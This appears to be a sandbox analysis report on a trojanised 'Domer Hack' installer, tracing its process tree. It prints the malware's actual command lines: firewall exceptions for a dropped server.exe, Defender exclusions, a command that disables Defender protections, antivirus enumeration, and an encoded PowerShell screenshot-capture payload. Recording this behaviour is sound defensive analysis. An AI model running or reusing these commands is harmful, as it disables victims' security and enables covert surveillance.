PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 2060	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 2060	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3612	2952	chrome.exe	chrome.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

6268 attrib.exe
6632 attrib.exe

pid	process
6268	attrib.exe
6632	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://clck.ru/34tjSE
1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2952

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff995839758,0x7ff995839768,0x7ff995839778
2⤵
PID:3280

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:2060

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1732 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:2
2⤵
PID:4632

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2232 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:3612

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3008 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:4816

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3016 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:2712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3924 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4816 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:2360

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5796 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:1980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5704 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:4552

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5752 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:3588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:4724

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5996 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:4844

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5944 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:2292

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6032 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:2132

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5288 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:4708

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5984 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:2728

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=6048 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:4032

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5900 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:1704

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6148 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:2676

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6460 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:4668

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=6348 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:1144

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=3392 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:1
2⤵
PID:1568

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6256 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:1608

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3092 --field-trial-handle=1900,i,12743443430397891149,5734656498122559000,131072 /prefetch:8
2⤵
PID:388

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4552

C:\Users\Admin\Desktop\Domer Hack Setup.exe
"C:\Users\Admin\Desktop\Domer Hack Setup.exe"
1⤵
PID:5088

C:\Users\Admin\AppData\Local\Temp\is-A4Q4U.tmp\Domer Hack Setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-A4Q4U.tmp\Domer Hack Setup.tmp" /SL5="$C0182,15109277,844288,C:\Users\Admin\Desktop\Domer Hack Setup.exe"
2⤵
- Executes dropped EXE
- Enumerates connected drives
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:4448

F:\Domer Hack\Domer Hack.exe
"F:\Domer Hack\Domer Hack.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:1936

C:\Users\Admin\AppData\Local\Temp\RarSFX0\adjustService.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\adjustService.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:2208

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\adjustService.bat" "
5⤵
PID:2700

C:\Users\Admin\AppData\Local\Temp\RarSFX1\adjustService.sfx.exe
adjustService.sfx.exe -p7845 -dC:\Users\Admin\AppData\Roaming
6⤵
- Checks computer location settings
- Executes dropped EXE
PID:4468

C:\Users\Admin\AppData\Local\Temp\RarSFX4\adjustService.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX4\adjustService.exe"
7⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
PID:3832

C:\Windows\server.exe
"C:\Windows\server.exe"
8⤵
- Drops startup file
- Executes dropped EXE
- Drops autorun.inf file
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
PID:3488

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\server.exe" "server.exe" ENABLE
9⤵
- Modifies Windows Firewall
PID:4868

C:\Windows\SysWOW64\netsh.exe
netsh firewall delete allowedprogram "C:\Windows\server.exe"
9⤵
- Modifies Windows Firewall
PID:4816

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\server.exe" "server.exe" ENABLE
9⤵
- Modifies Windows Firewall
PID:1656

C:\Users\Admin\AppData\Local\Temp\RarSFX4\аdjustService.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX4\аdjustService.exe"
7⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
PID:3732

C:\Users\Admin\AppData\Local\Temp\RarSFX4\Domer_Haсk.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX4\Domer_Haсk.exe"
7⤵
- Executes dropped EXE
PID:5760

C:\Users\Admin\AppData\Local\Temp\RarSFX4\Domer_Haсk.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX4\Domer_Haсk.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5352

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Domer_Hack.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Domer_Hack.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:464

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3800

F:\Domer Hack\Domer Hack.exe
"F:\Domer Hack\Domer Hack.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:4360

C:\Users\Admin\AppData\Local\Temp\RarSFX2\adjustService.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\adjustService.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:4044

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX3\adjustService.bat" "
3⤵
PID:2084

C:\Users\Admin\AppData\Local\Temp\RarSFX3\adjustService.sfx.exe
adjustService.sfx.exe -p7845 -dC:\Users\Admin\AppData\Roaming
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:1804

C:\Users\Admin\AppData\Local\Temp\RarSFX5\adjustService.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX5\adjustService.exe"
5⤵
- Executes dropped EXE
PID:4500

C:\Users\Admin\AppData\Local\Temp\RarSFX5\аdjustService.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX5\аdjustService.exe"
5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
PID:1052

C:\Users\Admin\AppData\Local\Temp\RarSFX5\Domer_Haсk.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX5\Domer_Haсk.exe"
5⤵
- Executes dropped EXE
PID:5052

C:\Users\Admin\AppData\Local\Temp\RarSFX5\Domer_Haсk.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX5\Domer_Haсk.exe"
6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
PID:4136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ ‎ .scr'"
7⤵
PID:4524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ ‎ .scr'
8⤵
PID:5252

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "start bound.exe"
7⤵
PID:4916

C:\Users\Admin\AppData\Local\Temp\bound.exe
bound.exe
8⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
7⤵
PID:1572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
8⤵
PID:4216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
7⤵
PID:5096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
8⤵
PID:5404

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX5\Domer_Haсk.exe'"
7⤵
PID:872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX5\Domer_Haсk.exe'
8⤵
PID:5428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
7⤵
PID:224

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
8⤵
- Enumerates processes with tasklist
PID:1272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
7⤵
PID:2188

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
8⤵
- Enumerates processes with tasklist
PID:1116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
7⤵
PID:3236

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
8⤵
PID:4332

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
7⤵
PID:3800

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
8⤵
- Enumerates processes with tasklist
PID:5420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
7⤵
PID:2004

C:\Windows\system32\tree.com
tree /A /F
8⤵
PID:5808

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
7⤵
PID:3616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAY